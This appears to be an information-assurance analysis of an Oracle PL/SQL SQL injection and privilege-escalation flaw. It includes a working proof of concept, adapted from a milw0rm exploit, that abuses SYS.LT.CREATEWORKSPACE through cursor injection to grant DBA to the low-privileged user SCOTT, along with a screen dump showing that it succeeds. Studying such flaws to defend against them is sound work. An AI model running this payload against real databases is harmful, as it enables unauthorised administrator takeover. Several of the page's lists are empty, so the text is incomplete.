Information Assurance |
NAYYARA SAMUEL |
Information AssuranceBugtraq AnalysisOracle SQL Injection & Privilege Escalation Vulnerability |
WHAT THE PROBLEM IS?In Oracle DMBS, several PL/SQL packages have SQL injection vulerability. This is due to lack of input validation simply!
Moreover, the privilege execution model in Oracle can be used to the attacker's advantage to inject SQL commands
with escalated privileges.
Oracle System Tables & Procedures Anyone who knows a little bit about any DBMS knows that all system information is stored in tables.
Also, statements such as "CREATE TABLE x", etc, update a system table that stores names of tables. Given this knowledge,
one can be sure that while creating this table, the parameter x will be passed to a dynamic SQL statement while
inserting the name of the table x into one or more system tables. Therefore, any parameter of type VARCHAR is
a potential target for injection. A user can furthermore substantiate a guess at this kind of vulerability. It is quick and easy to check for presence of SQL injection by simply passing an unterminated single quote as a parameter. If the error raised reports "quoted string not properly terminated", then it is posible to perform SQL injection (this is a SQL execution error)[1]. Oracle Privilege Execution Model Procedures/packages are defined with either of the two options:
The most desirable statement that an attacker could want to execute would be "GRANT DBA TO scott" - where SCOTT is an Oracle user with possibly very low privileges. In the case of many packages in Oracle, the owner is the user with highest privileges - the DBA, which favors the attacker. Oracle Programmatic Constructs There are 2 programmatic constructs that furthermore favor the execution of SQL injections. These are:
The second command allows construction of dynamic SQL commands. Not so much of a problem in itself, but attackers can dynamically construct attacks with this . AN EXAMPLE The following example [2] uses the Oracle SYS.LT.CREATEWORKSPACE procedure. This is slightly modified version of: http://milw0rm.com/exploits/7677 This is based on cursor injection and does not need create function privileges: #-----------screen dump-------------------------------------------# SQL> select * from user_role_privs; USERNAME GRANTED_ROLE ADM DEF OS_ ------------------------------ ------------------------ --- --- --- SCOTT CONNECT NO YES NO SCOTT EXECUTE_CATALOG_ROLE NO YES NO SCOTT RESOURCE NO YES NO SQL> DECLARE 2 D NUMBER; 3 BEGIN 4 D := DBMS_SQL.OPEN_CURSOR; 5 DBMS_SQL.PARSE(D,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; 6 BEGIN EXECUTE IMMEDIATE ''grant dba to scott'';COMMIT;END;',0); 6 SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--'); 7 SYS.LT.COMPRESSWORKSPACETREE ('a''and dbms_sql.execute('||D||')=1--'); 8 END; 9 10 11 / DECLARE * ERROR at line 1: ORA-01403: no data found ORA-06512: at "SYS.LT", line 6118 ORA-06512: at "SYS.LT", line 6087 ORA-06512: at line 7 SQL> select * from user_role_privs; USERNAME GRANTED_ROLE ADM DEF OS_ ------------------------------ ------------------------ --- --- --- SCOTT CONNECT NO YES NO SCOTT DBA NO YES NO SCOTT EXECUTE_CATALOG_ROLE NO YES NO SCOTT RESOURCE NO YES NO Sid www.notsosecure.com # milw0rm.com [2009-07-02] In the example, notice that even though the SYS.LT.CREATEWORKSPACE procedure failed
midway, the block completed and user SCOTT was granted DBA privileges.
The problem is simply a lack of input validation in coding the procedures. A documentation
on this particular issue is written by Paul M. Wright [1]. There are a few features of Oracle's PL/SQL
language that makes it fairly easy to validate input. Some of these are:
|